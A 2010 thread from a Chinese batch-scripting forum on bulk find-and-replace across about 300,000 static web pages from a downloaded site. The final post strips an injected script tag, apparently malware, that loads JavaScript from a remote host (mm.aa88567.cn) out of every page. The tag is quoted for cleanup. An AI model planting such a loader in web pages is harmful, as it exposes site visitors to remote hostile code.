![]() |
中国DOS联盟-- 联合DOS 推动DOS 发展DOS --联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum |
| 游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟 |
|
中国DOS联盟论坛 现在时间是 2026-08-12 08:22 |
共 47,811 主题排行 / 349,897 发帖 / 今日 0 篇 / 48,256 会员排行 |
| DOS批处理 & 脚本技术(批处理室) » 【出题】30万文件快速替换 |
| 可打印版本 3,114 / 21 |
| 第16楼 freeants001 | 发表于 2010-03-04 21:32 |
| 中级用户 发帖 244 积分 330 来自 湖北 | |
|
这样可以了
;) [ Last edited by freeants001 on 2010-3-4 at 22:45 ] |
|
| 第17楼 plp626 | 发表于 2010-03-04 22:22 |
| 银牌会员 发帖 1,020 积分 2,278 | |
|
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);
恐怕不仅仅是将txt改为html这么简单;我不知道获取你代码里那个“f.path”后缀的函数是什么,兄是否可以吧红色的那个html改为它呢? 这些文件大都是htm文件 ,但还有不少html文件(为索引文件) 如果都同一改为html,那么那些本来是htm的文件的链接会失效,在替换的时候,文件名要保持原样。 PS:这30万的网页文件时某个静态网站的所有文件。 [ Last edited by plp626 on 2010-3-4 at 22:26 ] |
|
| 第18楼 freeants001 | 发表于 2010-03-04 22:48 |
| 中级用户 发帖 244 积分 330 来自 湖北 | |
|
16楼已修改
|
|
| 第19楼 plp626 | 发表于 2010-03-04 22:55 |
| 银牌会员 发帖 1,020 积分 2,278 | |
|
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成
|
|
| 第20楼 freeants001 | 发表于 2010-03-04 23:01 |
| 中级用户 发帖 244 积分 330 来自 湖北 | |
Originally posted by plp626 at 2010-3-4 22:55: 不会吧,我这里测试可以啊。 |
|
| 第21楼 plp626 | 发表于 2010-03-04 23:28 |
| 银牌会员 发帖 1,020 积分 2,278 | |
|
16楼的代码正确,是我的原因
试着运行了下,20多万文件替换了8千多文件用时近8分钟(如果总数是1万个文件替换完却用时不到1分钟,不知为何),看来得30*8=240分钟,呀,得4个小时,是当时下载所花时间的一半。 [ Last edited by plp626 on 2010-3-4 at 23:39 ] |
|
| 第22楼 plp626 | 发表于 2010-05-20 13:20 |
| 银牌会员 发帖 1,020 积分 2,278 | |
|
我电脑上就有一个这样的三方工具,直接替换的,老早下载的白杨作品集——fr.exe,速度灰常快,测试了下,10分钟左右全部替换完了
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:"" |
|
| 上一页 1 2 |
|
[ 联系联盟系统管理团队 -
中国DOS联盟 -
标准版 ] Sponsored by ifanr Inc | © 2001–2023 |